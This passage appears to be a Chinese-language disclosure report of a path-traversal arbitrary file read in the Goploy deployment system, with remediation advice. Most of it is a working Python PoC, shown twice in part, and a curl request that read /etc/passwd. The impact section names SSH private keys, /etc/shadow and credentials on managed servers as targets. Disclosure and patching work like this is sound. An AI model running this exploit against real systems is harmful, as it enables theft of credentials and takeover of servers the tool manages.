\u5c1d\u8bd5\u83b7\u53d6\u53ef\u7528\u7684 Namespace ID (/namespace/getOption)\")\n try:\n r_ns = requests.get(f\"{target_url}/namespace/getOption\", headers=headers, cookies=cookies, verify=False, timeout=10)\n ns_data = r_ns.json()\n if ns_data.get(\"code\") == 0 and len(ns_data.get(\"data\", {}).get(\"list\", [])) \u003e 0:\n namespace_id = ns_data[\"data\"][\"list\"][0][\"namespaceId\"]\n print(f\"[+] \u6210\u529f\u63d0\u53d6\u5230 Namespace ID: {namespace_id}\")\n else:\n print(f\"[-] \u63d0\u53d6 Namespace ID \u5931\u8d25\u6216\u5217\u8868\u4e3a\u7a7a\uff0c\u5c06\u964d\u7ea7\u4f7f\u7528\u9ed8\u8ba4\u503c 1\")\n except Exception as e:\n print(f\"[-] \u63d0\u53d6 Namespace ID \u53d1\u751f\u5f02\u5e38: {e}\")\n\n # \u5c06\u83b7\u53d6\u5230\u7684 Namespace ID \u653e\u5165\u540e\u7eed\u8bf7\u6c42\u7684 Header \u4e2d\n headers[\"G-N-ID\"] = str(namespace_id)\n\n # 2. \u52a8\u6001\u83b7\u53d6\u53ef\u7528\u7684 Server ID\n server_id = 1\n if args.server_id is not None:\n server_id = int(args.server_id)\n print(f\"[*] 2. \u7528\u6237\u6307\u5b9a\u4e86 Server ID: {server_id} ,\u8df3\u8fc7\u81ea\u52a8\u63a2\u6d4b\u3002\u53ef\u7528\u4e8e\u6c34\u5e73\u63d0\u6743\u76ee\u6807\u7f51\u7edc\uff01\")\n else:\n print(f\"[*] 2. \u5c1d\u8bd5\u83b7\u53d6\u53ef\u7528\u7684 Server ID (/server/getOption)\")\n try:\n r_srv = requests.get(f\"{target_url}/server/getOption\", headers=headers, cookies=cookies, verify=False, timeout=10)\n srv_data = r_srv.json()\n if srv_data.get(\"code\") == 0 and len(srv_data.get(\"data\", {}).get(\"list\", [])) \u003e 0:\n server_id = srv_data[\"data\"][\"list\"][0][\"id\"]\n print(f\"[+] \u6210\u529f\u63d0\u53d6\u5230\u53ef\u7528 Server ID: {server_id}\")\n else:\n print(f\"[-] \u63d0\u53d6 Server ID \u5931\u8d25\u6216\u5217\u8868\u4e3a\u7a7a\uff0c\u5c06\u964d\u7ea7\u5c1d\u8bd5\u731c\u6d4b\u503c 1\")\n except Exception as e:\n print(f\"[-] \u63d0\u53d6 Server ID \u53d1\u751f\u5f02\u5e38: {e}\")\n\n # 3. \u52a8\u6001\u83b7\u53d6\u53ef\u7528\u7684 Project ID\n project_id = 1\n print(f\"[*] 3. \u5c1d\u8bd5\u83b7\u53d6\u53ef\u7528\u7684 Project ID (/deploy/getList)\")\n try:\n r_proj = requests.get(f\"{target_url}/deploy/getList\", headers=headers, cookies=cookies, verify=False, timeout=10)\n proj_data = r_proj.json()\n if proj_data.get(\"code\") == 0 and len(proj_data.get(\"data\", {}).get(\"list\", [])) \u003e 0:\n project_id = proj_data[\"data\"][\"list\"][0][\"id\"]\n print(f\"[+] \u6210\u529f\u63d0\u53d6\u5230 Project ID: {project_id}\")\n else:\n print(f\"[-] \u63d0\u53d6 Project ID \u5931\u8d25\u6216\u5217\u8868\u4e3a\u7a7a\uff0c\u5c06\u964d\u7ea7\u5c1d\u8bd5\u731c\u6d4b\u503c 1\")\n except Exception as e:\n print(f\"[-] \u63d0\u53d6 Project ID \u53d1\u751f\u5f02\u5e38: {e}\")\n\n # ==========================\n # 4. \u6267\u884c\u6f0f\u6d1e\u5229\u7528\n # ==========================\n headers[\"Content-Type\"] = \"application/json\"\n \n # \u6784\u9020\u76ee\u5f55\u7a7f\u8d8a payload\n traversal_payload = \"../\" * 15 + file_read.lstrip(\u0027/\u0027)\n \n data = {\n \"projectId\": project_id,\n \"serverId\": server_id,\n \"filePath\": traversal_payload\n }\n\n url_exploit = f\"{target_url}/deploy/fileDiff\"\n print(f\"\\n[*] \u76ee\u6807\u5730\u5740: {url_exploit}\")\n print(f\"[*] Payload\u4e2d\u5305\u542b\u7684\u7cfb\u7edf\u53c2\u6570: NamespaceID={namespace_id}, ProjectID={project_id}, ServerID={server_id}\")\n print(f\"[*] \u5c1d\u8bd5\u8bfb\u53d6\u6587\u4ef6: {file_read}\")\n print(f\"[*] \u53d1\u9001\u6700\u7ec8\u5229\u7528\u8bf7\u6c42\u4e2d...\\n\")\n\n try:\n response = requests.post(url_exploit, headers=headers, cookies=cookies, json=data, verify=False, timeout=10)\n \n if response.status_code == 200:\n try:\n # \u5c1d\u8bd5\u89e3\u6790 Goploy \u7684 JSON \u56de\u663e\u683c\u5f0f\n json_data = response.json()\n if json_data.get(\u0027code\u0027) in [0, 1, 2]: # \u6709\u65f6\u5019\u8bfb\u53d6\u56de\u663e\u4e3a\u5b8c\u6574\u7684 json \n data_obj = json_data.get(\u0027data\u0027) if isinstance(json_data.get(\u0027data\u0027), dict) else {}\n \n src_text = data_obj.get(\u0027srcText\u0027, \u0027\u0027)\n dist_text = data_obj.get(\u0027distText\u0027, \u0027\u0027)\n \n if src_text or dist_text:\n print(\"[+] \u6f0f\u6d1e\u5229\u7528\u6210\u529f\uff01\u4ea7\u751f\u53cc\u91cd\u6587\u4ef6\u8bfb\u53d6\u54cd\u5e94\uff1a\\n\")\n print(\"=\" * 50)\n print(f\"\u3010Goploy\u5bbf\u4e3b\u673a ({url_exploit} \u672c\u5730) \u7684\u6587\u4ef6\u5185\u5bb9\u8bb0\u5f55\u5728 srcText\u3011:\")\n print(\"-\" * 50)\n print(src_text if src_text else \"(\u7a7a)\")\n print(\"=\" * 50)\n print(f\"\u3010\u88ab\u63a7\u76ee\u6807\u7aef\u670d\u52a1\u5668 (ServerID: {server_id}) \u7684\u6587\u4ef6\u5185\u5bb9\u8bb0\u5f55\u5728 distText\u3011:\")\n print(\"-\" * 50)\n print(dist_text if dist_text else \"(\u7a7a)\")\n print(\"=\" * 50)\n else:\n print(\"[-] \u8bfb\u53d6\u64cd\u4f5c\u6267\u884c\u4f46\u672a\u8fd4\u56de\u5177\u4f53\u7684 srcText \u6216 distText \u6570\u636e\u3002\u6b63\u5728\u663e\u793a\u539f\u59cb API \u8fd4\u56de\uff1a\")\n print(json.dumps(json_data, indent=2))\n else:\n print(f\"[-] \u670d\u52a1\u5668\u8fd4\u56de\u4e1a\u52a1\u9519\u8bef (Code={json_data.get(\u0027code\u0027)}): {json_data.get(\u0027message\u0027)}\")\n except ValueError:\n # \u5982\u679c\u4e0d\u662f JSON \u683c\u5f0f\uff0c\u76f4\u63a5\u8f93\u51fa\u54cd\u5e94\u6e90\u7801\n print(\"[+] \u6536\u5230\u672a\u77e5\u683c\u5f0f\u54cd\u5e94\uff0c\u4ee5\u4e0b\u4e3a\u539f\u59cb\u6b63\u6587\u5185\u5bb9\uff1a\")\n print(response.text)\n else:\n print(f\"[-] HTTP \u8bf7\u6c42\u5931\u8d25\uff0cHTTP \u72b6\u6001\u7801: {response.status_code}\")\n print(response.text)\n \n except requests.exceptions.RequestException as e:\n print(f\"[-] \u8fde\u63a5\u51fa\u9519: {e}\")\n\nif __name__ == \"__main__\":\n banner()\n parser = argparse.ArgumentParser(description=\"Goploy \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6982\u5ff5\u9a8c\u8bc1\u811a\u672c (PoC)\")\n parser.add_argument(\"-u\", \"--url\", required=True, help=\"\u76ee\u6807\u7cfb\u7edf\u57fa\u7840 URL\uff0c\u4f8b\u5982\uff1ahttp://192.168.240.130\")\n parser.add_argument(\"-t\", \"--token\", required=True, help=\"\u5177\u6709\u4f4e\u6743\u9650\u6210\u5458\u8d26\u6237\u7684 goploy_token (Cookie)\")\n parser.add_argument(\"-f\", \"--file\", default=\"/etc/passwd\", help=\"\u60f3\u8981\u8bfb\u53d6\u7684\u76ee\u6807\u7edd\u5bf9\u8def\u5f84\u6587\u4ef6 (\u9ed8\u8ba4: /etc/passwd)\")\n parser.add_argument(\"-s\", \"--server_id\", default=None, help=\"\u5f3a\u5236\u6307\u5b9a\u60f3\u8981\u8bfb\u53d6\u7684\u8fdc\u7a0b\u7ed1\u5b9a\u670d\u52a1\u5668ServerID(\u5982\u5ffd\u7565\u5219\u5c1d\u8bd5\u81ea\u52a8\u83b7\u53d6\u9996\u4e2a)\")\n \n args = parser.parse_args()\n \n exploit(args.url, args.token, args.file, args)\n\n```\n\n\n---\n\n\n\n# Goploy \u7cfb\u7edf\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\n\n## \u6f0f\u6d1e\u57fa\u672c\u4fe1\u606f\n- **\u6f0f\u6d1e\u540d\u79f0**\uff1aGoploy \u7cfb\u7edf\u7aef\u70b9\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\n- **\u6f0f\u6d1e\u7c7b\u578b**\uff1a\u8def\u5f84\u904d\u5386\uff08Path Traversal, CWE-22\uff09 / \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\n- **\u5f71\u54cd\u4ea7\u54c1**\uff1aGoploy\n- **\u6f0f\u6d1e\u5371\u5bb3\u7ea7\u522b**\uff1a\u9ad8\u5371\uff08CVSS V3 7.7\uff09\n- **\u5df2\u77e5\u5f71\u54cd\u7248\u672c**\uff1a\u003c=1.17.5\n\n## \u6f0f\u6d1e\u63cf\u8ff0\nGoploy \u662f\u4e00\u4e2a\u5f00\u6e90\u7684\u81ea\u52a8\u5316\u90e8\u7f72\u7cfb\u7edf\u3002\u5728\u5176\u540e\u7aef\u670d\u52a1\u7684 `/deploy/fileDiff`\uff08\u6587\u4ef6\u5bf9\u6bd4\uff09\u7b49 API \u63a5\u53e3\u5904\u5904\u7406\u5ba2\u6237\u7aef\u4f20\u6765\u7684\u6587\u4ef6\u8def\u5f84\u65f6\uff0c\u5b58\u5728\u4e25\u91cd\u7684\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\u3002\n\n\u8be5\u63a5\u53e3\u7684\u539f\u59cb\u903b\u8f91\u662f\u8bfb\u53d6\u672c\u5730\u9879\u76ee\u6587\u4ef6\u4e0e\u8fdc\u7a0b\u76ee\u6807\u670d\u52a1\u5668\u6587\u4ef6\u8fdb\u884c\u6bd4\u5bf9\u3002\u4f46\u7531\u4e8e\u672a\u80fd\u5145\u5206\u6821\u9a8c\u53ca\u8fc7\u6ee4\u7528\u6237\u4f20\u5165\u7684 `filePath` \u53c2\u6570\uff0c\u4e5f\u6ca1\u6709\u5bf9\u6700\u7ec8\u7684\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84\u8fdb\u884c\u5b89\u5168\u7ea6\u675f\uff0c\u5c06\u542b\u6709 `../` \u7684\u6076\u610f\u8def\u5f84\u76f4\u63a5\u5e26\u5165\u7cfb\u7edf\u4e2d\u6267\u884c\u3002\n\u8fd9\u5bfc\u81f4\u4e86\u4e00\u4e2a**\u53cc\u91cd\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6**\u7684\u95ee\u9898\uff1a\n1. \u672c\u5730\u5bbf\u4e3b\u673a\u6587\u4ef6\u8bfb\u53d6\uff1a`os.ReadFile` \u4f1a\u88ab\u76ee\u5f55\u7a7f\u8d8a payload \u6b3a\u9a97\uff0c\u8bfb\u53d6\u51fa Goploy \u5bbf\u4e3b\u673a\u7684\u672c\u5730\u7edd\u5bf9\u8def\u5f84\u4efb\u610f\u6587\u4ef6\uff08\u8fd4\u56de\u5728\u54cd\u5e94\u4f53\u7684 `srcText` \u5b57\u6bb5\uff09\u3002\n2. \u8fdc\u7a0b\u4efb\u610f\u53d7\u63a7\u670d\u52a1\u5668\u6587\u4ef6\u8bfb\u53d6\uff1a\u7d27\u63a5\u7740\u8be5 payload \u7ecf\u7531 SFTP \u534f\u8bae\u4f5c\u7528\u4e8e `serverID` \u6240\u6307\u5411\u7684\u76ee\u6807\u670d\u52a1\u5668\uff0c\u540c\u6837\u7531\u4e8e\u53d7\u5230\u76ee\u5f55\u7a7f\u8d8a\u5f71\u54cd\uff0c\u6700\u7ec8\u8bfb\u53d6\u6240\u914d\u7f6e\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a\u7684\u4efb\u610f\u6587\u4ef6\uff08\u8fd4\u56de\u5728\u54cd\u5e94\u4f53\u7684 `distText` \u5b57\u6bb5\uff09\u3002\n\n**\u8be5\u6f0f\u6d1e\u5229\u7528\u95e8\u69db\u6781\u4f4e\u4e14\u6761\u4ef6\u6781\u6613\u6ee1\u8db3\u3002** \u7cfb\u7edf\u5728\u9ed8\u8ba4\u5b89\u88c5\u65f6\u9884\u8bbe\u4e86 `member`\uff08\u666e\u901a\u6210\u5458\uff09\u89d2\u8272\uff0c\u4e14**\u9ed8\u8ba4\u8d4b\u4e88\u4e86\u8be5\u89d2\u8272\u201c\u6587\u4ef6\u6bd4\u5bf9 (FileCompare)\u201d\u6743\u9650**\u3002\u8fd9\u610f\u5473\u7740\u7cfb\u7edf\u53ea\u8981\u6dfb\u52a0\u4e86\u4e00\u4e2a\u666e\u901a\u7684\u4f4e\u6743\u9650\u4f7f\u7528\u8005\uff0c\u5176\u5929\u7136\u5c31\u5177\u5907\u8c03\u7528\u76ee\u6807\u6f0f\u6d1e\u7aef\u70b9\u7684\u57fa\u7840\u6743\u9650\u3002\u653b\u51fb\u524d\u63d0\u4ec5\u4ec5\u662f\u7cfb\u7edf\u4e2d\u914d\u7f6e\u4e86\u81f3\u5c11\u4e00\u4e2a\u9879\u76ee\u548c\u4e00\u4e2a\u670d\u52a1\u5668\u3002\n\n\u653b\u51fb\u8005\u4ec5\u9700\u901a\u8fc7\u6293\u5305\u6307\u5b9a\u6b63\u786e\u7684\u547d\u540d\u7a7a\u95f4 Header\uff08\u4f8b\u5982 `G-N-ID: 1`\uff09\u7ed5\u8fc7\u5176\u7b80\u5355\u7684\u9650\u5236\u62e6\u622a\uff0c\u4e14\u904d\u5386\u53ef\u7528\u7684 `serverId` \u53c2\u6570\uff0c\u5373\u53ef\u76f4\u63a5\u5229\u7528\u8be5\u7aef\u70b9\u6210\u529f\u6267\u884c\u8def\u5f84\u904d\u5386\uff0c\u8bfb\u53d6 Goploy \u672c\u5730\u5bbf\u4e3b\u673a\u4ee5\u53ca**\u5404\u4e2a\u8fdc\u7aef\u88ab Goploy \u7ba1\u7406\u7684\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u7684\u4efb\u610f\u6587\u4ef6**\u3002\n\n## \u6f0f\u6d1e\u590d\u73b0\u6b65\u9aa4 (Proof of Concept)\n\n### \u7406\u8bba\u6b65\u9aa4\uff08\u5177\u4f53\u6b65\u9aa4\u89c1\u4e0b\uff09\n1. **\u83b7\u53d6\u666e\u901a\u7528\u6237\u6743\u9650**\n \u4f7f\u7528\u4efb\u610f\u5df2\u6ce8\u518c\u7684\u4f4e\u6743\u9650\u8d26\u6237\u767b\u5f55\u7cfb\u7edf\uff0c\u83b7\u53d6\u6709\u6548\u7684\u8eab\u4efd\u8ba4\u8bc1\u51ed\u8bc1\uff08Cookie/Token\uff09\u3002\u83b7\u53d6\u5176\u5bf9\u5e94\u6709\u6743\u9650\u7684 Namespace ID\u3002\n\n2. **\u6784\u9020\u6076\u610f\u8bf7\u6c42**\n \u5411\u76ee\u6807\u63a5\u53e3 `/deploy/fileDiff` \u53d1\u9001\u5305\u542b\u76ee\u5f55\u7a7f\u8d8a\u5b57\u7b26 `../` \u7684 POST \u8bf7\u6c42\uff0c\u5e76\u643a\u5e26 `G-N-ID`\u3002\n\n **PoC \u793a\u4f8b\uff08\u8bfb\u53d6 `/etc/passwd`,\u53ef\u4ee5\u904d\u5386`serverId`\uff09\uff1a**\n ```bash\n curl -s -X POST -b \"goploy_token=\u003c\u7528\u6237\u7684\u6709\u6548cookie\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -H \"G-N-ID: 1\" \\\n -d \u0027{\"projectId\":1,\"serverId\":1,\"filePath\":\"../../../../../../../../../../etc/passwd\"}\u0027 \\\n \"http://\u003ctarget-host\u003e/deploy/fileDiff\"\n ```\n2. **\u590d\u73b0\u7ed3\u679c**\n \u670d\u52a1\u5668\u5c06\u8fd4\u56de\u5bbf\u4e3b\u673a\u548c\u8fdc\u7aef\u670d\u52a1\u5668 `/etc/passwd` \u6587\u4ef6\u7684\u5b8c\u6574\u5185\u5bb9\u3002\n### \u5177\u4f53\u6b65\u9aa4\n1. **\u73af\u5883**\n \u4f7f\u7528\u8d85\u7ba1\u8d26\u53f7\u4efb\u610f\u53d1\u5e03\u4e86\u4e00\u4e2a\u9879\u76ee\uff1a\n \u003cimg width=\"1919\" height=\"428\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8618a038-9088-45b4-804a-5541e243c6a8\" /\u003e\n\n \u8bbe\u7f6e\u4e86\u4e24\u4e2a\u7eb3\u7ba1\u670d\u52a1\u5668\uff1a\n \u003cimg width=\"1896\" height=\"399\" alt=\"image-1(1)\" src=\"https://github.com/user-attachments/assets/89cfa086-d20b-448e-9cf7-1af5798e3cfe\" /\u003e\n\n \u521b\u5efa\u4e86\u4e00\u4e2a\u666e\u901a\u7528\u6237\uff0c\u5e76\u8d4b\u4e88menmber\u89d2\u8272\uff08\u6587\u4ef6\u5bf9\u6bd4\u6743\u9650\uff09\uff1a\n \u003cimg width=\"1910\" height=\"343\" alt=\"image-2\" src=\"https://github.com/user-attachments/assets/b8dda364-c23d-4496-a555-ff477c511d31\" /\u003e\n\n \u003cimg width=\"951\" height=\"364\" alt=\"image-3\" src=\"https://github.com/user-attachments/assets/0e20cbed-7341-484c-b0a7-0fcd6ca2fea6\" /\u003e\n\n2. **\u83b7\u53d6\u666e\u901a\u7528\u6237\u6743\u9650**\n \u4f7f\u7528\u5df2\u6ce8\u518c\u7684`test`\u8d26\u6237\u767b\u5f55\u7cfb\u7edf\uff0c\u83b7\u53d6\u6709\u6548\u7684\u8eab\u4efd\u8ba4\u8bc1\u51ed\u8bc1\uff08Cookie/Token\uff09\u3002\n \u003cimg width=\"1916\" height=\"712\" alt=\"image-4(1)\" src=\"https://github.com/user-attachments/assets/a269b79f-a666-4f3a-95c4-40621e1fbbc2\" /\u003e\n\n3. **\u8fd0\u884cpoc.py\uff08\u89c1\u6587\u672b\uff09**\n * \u53c2\u6570\u89e3\u91ca\uff1a\n -u : \u76ee\u6807URL\n -t : \u6b32\u4f7f\u7528\u7684Cookie/Token\n -f : \u6b32\u8bfb\u53d6\u7684\u6587\u4ef6\n -s : \u6b32\u8bfb\u53d6\u7684\u7eb3\u7ba1\u670d\u52a1\u5668\u7684ID\n * \u8bfb\u53d6\u7b2c\u4e00\u4e2a\u7eb3\u7ba1\u670d\u52a1\u5668\uff1a\n ```bash\n python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 1\n ```\n \u003cimg width=\"1173\" height=\"608\" alt=\"image-6(1)\" src=\"https://github.com/user-attachments/assets/e442c247-3ebf-449f-94df-2b2b533b9449\" /\u003e\n \n \u003cimg width=\"870\" height=\"190\" alt=\"image-5\" src=\"https://github.com/user-attachments/assets/9e53b13a-915c-4f5e-b1bc-f0b3c0b64656\" /\u003e\n\n * \u8bfb\u53d6\u7b2c\u4e8c\u4e2a\u7eb3\u7ba1\u670d\u52a1\u5668\uff1a\n ```bash\n python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 2\n ```\n \u003cimg width=\"1173\" height=\"231\" alt=\"image-8(1)\" src=\"https://github.com/user-attachments/assets/54e77e8a-259d-4f74-bf31-1a9625bcbe52\" /\u003e\n\n4. **\u590d\u73b0\u7ed3\u679c**\n \u670d\u52a1\u5668\u8fd4\u56de\u5bbf\u4e3b\u673a\u548c\u4efb\u610f\u8fdc\u7aef\u670d\u52a1\u5668 `/etc/passwd` \u6587\u4ef6\u7684\u5b8c\u6574\u5185\u5bb9\u3002\n\n## \u6f0f\u6d1e\u5371\u5bb3\n\u901a\u8fc7\u8be5\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u8d8a\u6743\u8bfb\u53d6\u5bbf\u4e3b\u673a\u4ee5\u53ca\u6240\u6709\u7eb3\u7ba1\u670d\u52a1\u5668\u76ee\u6807\u4e2d\u7684\u4efb\u4f55\u654f\u611f\u6587\u4ef6\u3002\u4f8b\u5982\uff1a\n- \u8bfb\u53d6\u672c\u5730\u6216\u76ee\u6807\u8fdc\u7aef\u670d\u52a1\u5668\u7684 `/etc/passwd` \u6216 `/etc/shadow` \u83b7\u53d6\u4e3b\u673a\u7cfb\u7edf\u7528\u6237\u4fe1\u606f\u3002\n- \u8bfb\u53d6\u5404\u4e2a\u7cfb\u7edf\u4e2d\u7528\u6237\u7684 SSH \u79c1\u94a5\uff08\u5982 `~/.ssh/id_rsa`\uff09\uff0c\u4ece\u800c\u5229\u7528\u79c1\u94a5\u65e0\u9700\u5bc6\u7801\u76f4\u63a5\u901a\u8fc7 SSH \u8fdc\u7a0b\u8fde\u63a5\u5bbf\u4e3b\u673a\u6216\u8de8\u7f51\u6bb5\u8fde\u63a5\u5176\u4ed6\u670d\u52a1\u5668\uff0c\u7a83\u53d6\u670d\u52a1\u5668\u63a7\u5236\u6743\uff0c\u8fbe\u5230\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\uff08RCE\uff09\u7684\u540c\u7b49\u5371\u5bb3\u3002\n- \u7ed3\u5408\u5bf9 `serverID` \u7684\u679a\u4e3e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5c06 Goploy \u4f5c\u4e3a\u8df3\u677f\u673a\uff0c\u9488\u5bf9\u6240\u6709\u7ed1\u5b9a\u7684\u4e0b\u53d1\u76ee\u6807\u7cfb\u7edf\u8fdb\u884c\u5927\u8303\u56f4\u7684\u4fe1\u606f\u7a83\u53d6\u3002\n- \u83b7\u53d6\u7cfb\u7edf\u7684\u5404\u7c7b\u5173\u952e\u914d\u7f6e\u6587\u4ef6\u3001\u6570\u636e\u5e93\u51ed\u8bc1\u7b49\u3002\n\n## \u4fee\u590d\u5efa\u8bae\n1. **\u8f93\u5165\u53c2\u6570\u8fc7\u6ee4**\uff1a\u5728\u63a5\u6536\u5e76\u5904\u7406\u5ba2\u6237\u7aef\u4f20\u9012\u7684\u6587\u4ef6\u8def\u5f84\u65f6\uff0c\u4e25\u683c\u8fc7\u6ee4 `../` \u3001`..\\\\` \u4ee5\u53ca `%00` \u7b49\u53ef\u80fd\u5f15\u8d77\u76ee\u5f55\u8de8\u8d8a\u4e0e\u622a\u65ad\u7684\u7279\u6b8a\u5b57\u7b26\u3002\n2. **\u8def\u5f84\u767d\u540d\u5355\u7ea6\u675f**\uff1a\u5229\u7528 `filepath.Clean` \u7b49\u5185\u7f6e\u51fd\u6570\u683c\u5f0f\u5316\u8def\u5f84\uff0c\u5e76\u4e14\u5728\u6267\u884c\u7cfb\u7edf\u6587\u4ef6\u8bfb\u5199\u64cd\u4f5c\u524d\uff0c\u5f3a\u5236\u6821\u9a8c\u89e3\u6790\u540e\u7684\u7edd\u5bf9\u8def\u5f84\u524d\u7f00\u662f\u5426\u5904\u4e8e\u5e94\u7528\u6240\u5141\u8bb8\u7684\u5408\u6cd5\u53d7\u9650\u76ee\u5f55\u8303\u56f4\uff08\u5982\u9884\u8bbe\u7684\u6c99\u76d2\u76ee\u5f55\u6216\u9879\u76ee\u5de5\u4f5c\u533a\u5185\uff09\u5185\u3002\n3. **\u6743\u9650\u6700\u5c0f\u5316**\uff1a\u8fd0\u884c Goploy \u670d\u52a1\u7684\u73af\u5883\u6216\u955c\u50cf\u5e94\u5c3d\u53ef\u80fd\u4ee5\u4f4e\u6743\u9650\u7528\u6237\u8eab\u4efd\u8fd0\u884c\uff0c\u4ee5\u6b64\u51cf\u5f31\u88ab\u8bfb\u53d6\u654f\u611f\u6587\u4ef6\u7684\u98ce\u9669\u3002\n4. **\u68c0\u67e5\u5176\u4ed6API**\uff1a\u9664\u4ee5\u4e0aAPI\uff0c\u8fd8\u6709\u591a\u5904API\u5b58\u5728\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\uff0c\u5982\u679c\u7528\u6237\u83b7\u5f97\u76f8\u5e94\u7684\u6743\u9650\uff0c\u540c\u6837\u4f1a\u5bfc\u81f4\u4efb\u610f\u6587\u4ef6\u8bfb**\u751a\u81f3\u5199**\u3002\n\n## poc.py\n```python\n#!/usr/bin/env python3\nimport requests\nimport argparse\nimport sys\nimport urllib3\nimport json\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef banner():\n print(r\"\"\"\n ____ _ ____ ____ \n / ___| ___ _ __ | | ___ _ _ | _ \\ ___ / ___|\n| | _ / _ \\| \u0027_ \\| |/ _ \\| | | | | |_) / _ \\ | \n| |_| | (_) | |_) | | (_) | |_| | | __/ (_) | |___ \n \\____|\\___/| .__/|_|\\___/ \\__, | |_| \\___/ \\____|\n |_| |___/ \n\n Goploy Authenticated Arbitrary File Read PoC\n \"\"\")\n\ndef exploit(target_url, token, file_read, args):\n if not target_url.startswith(\"http\"):\n target_url = \"http://\" + target_url\n \n target_url = target_url.rstrip(\u0027/\u0027)\n \n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"\n }\n \n cookies = {\n \"goploy_token\": token\n }\n \n print(\"[*] \u6b63\u5728\u5c1d\u8bd5\u81ea\u52a8\u4ece\u670d\u52a1\u5668\u54cd\u5e94\u4e2d\u63d0\u53d6\u5229\u7528\u6240\u9700\u7684\u6240\u6709\u53c2\u6570ID...\")\n \n # 1. \u52a8\u6001\u83b7\u53d6\u53ef\u7528\u7684 Namespace ID\n namespace_id = 1\n print(f\"[*] 1. \u5c1d\u8bd5\u83b7\u53d6\u53ef\u7528\u7684 Namespace ID (/namespace/getOption)\")\n try:\n r_ns = requests.get(f\"{target_url}/namespace/getOption\", headers=headers, cookies=cookies, verify=False, timeout=10)\n ns_data = r_ns.json()\n if ns_data.get(\"code\") == 0 and len(ns_data.get(\"data\", {}).get(\"list\", [])) \u003e 0:\n namespace_id = ns_data[\"data\"][\"list\"][0][\"namespaceId\"]\n print(f\"[+] \u6210\u529f\u63d0\u53d6\u5230 Namespace ID: {namespace_id}\")\n else:\n print(f\"[-] \u63d0\u53d6 Namespace ID \u5931\u8d25\u6216\u5217\u8868\u4e3a\u7a7a\uff0c\u5c06\u964d\u7ea7\u4f7f\u7528\u9ed8\u8ba4\u503c 1\")\n except Exception as e:\n print(f\"[-] \u63d0\u53d6 Namespace ID \u53d1\u751f\u5f02\u5e38: {e}\")\n\n # \u5c06\u83b7\u53d6\u5230\u7684 Namespace ID \u653e\u5165\u540e\u7eed\u8bf7\u6c42\u7684 Header \u4e2d\n headers[\"G-N-ID\"] = str(namespace_id)\n\n # 2. \u52a8\u6001\u83b7\u53d6\u53ef\u7528\u7684 Server ID\n server_id = 1\n if args.server_id is not None:\n server_id = int(args.server_id)\n print(f\"[*] 2. \u7528\u6237\u6307\u5b9a\u4e86 Server ID: {server_id} ,\u8df3\u8fc7\u81ea\u52a8\u63a2\u6d4b\u3002\u53ef\u7528\u4e8e\u6c34\u5e73\u63d0\u6743\u76ee\u6807\u7f51\u7edc\uff01\")\n else:\n print(f\"[*] 2. \u5c1d\u8bd5\u83b7\u53d6\u53ef\u7528\u7684 Server ID (/server/getOption)\")\n try:\n r_srv = requests.get(f\"{target_url}/server/getOption\", headers=headers, cookies=cookies, verify=False, timeout=10)\n srv_data = r_srv.json()\n if srv_data.get(\"code\") == 0 and len(srv_data.get(\"data\", {}).get(\"list\", [])) \u003e 0:\n server_id = srv_data[\"data\"][\"list\"][0][\"id\"]\n print(f\"[+] \u6210\u529f\u63d0\u53d6\u5230\u53ef\u7528 Server ID: {server_id}\")\n else:\n print(f\"[-] \u63d0\u53d6 Server ID \u5931\u8d25\u6216\u5217\u8868\u4e3a\u7a7a\uff0c\u5c06\u964d\u7ea7\u5c1d\u8bd5\u731c\u6d4b\u503c 1\")\n except Exception as e:\n print(f\"[-] \u63d0\u53d6 Server ID \u53d1\u751f\u5f02\u5e38: {e}\")\n\n # 3. \u52a8\u6001\u83b7\u53d6\u53ef\u7528\u7684 Project ID\n project_id = 1\n print(f\"[*] 3. \u5c1d\u8bd5\u83b7\u53d6\u53ef\u7528\u7684 Project ID (/deploy/getList)\")\n try:\n r_proj = requests.get(f\"{target_url}/deploy/getList\", headers=headers, cookies=cookies, verify=False, timeout=10)\n proj_data = r_proj.json()\n if proj_data.get(\"code\") == 0 and len(proj_data.get(\"data\", {}).get(\"list\", [])) \u003e 0:\n project_id = proj_data[\"data\"][\"list\"][0][\"id\"]\n print(f\"[+] \u6210\u529f\u63d0\u53d6\u5230 Project ID: {project_id}\")\n else:\n print(f\"[-] \u63d0\u53d6 Project ID \u5931\u8d25\u6216\u5217\u8868\u4e3a\u7a7a\uff0c\u5c06\u964d\u7ea7\u5c1d\u8bd5\u731c\u6d4b\u503c 1\")\n except Exception as e:\n print(f\"[-] \u63d0\u53d6 Project ID \u53d1\u751f\u5f02\u5e38: {e}\")\n\n # ==========================\n # 4. \u6267\u884c\u6f0f\u6d1e\u5229\u7528\n # ==========================\n headers[\"Content-Type\"] = \"application/json\"\n \n # \u6784\u9020\u76ee\u5f55\u7a7f\u8d8a payload\n traversal_payload = \"../\" * 15 + file_read.lstrip(\u0027/\u0027)\n \n data = {\n \"projectId\": project_id,\n \"serverId\": server_id,\n \"filePath\": traversal_payload\n }\n\n url_exploit = f\"{target_url}/deploy/fileDiff\"\n print(f\"\\n[*] \u76ee\u6807\u5730\u5740: {url_exploit}\")\n print(f\"[*] Payload\u4e2d\u5305\u542b\u7684\u7cfb\u7edf\u53c2\u6570: NamespaceID={namespace_id}, ProjectID={project_id}, ServerID={server_id}\")\n print(f\"[*] 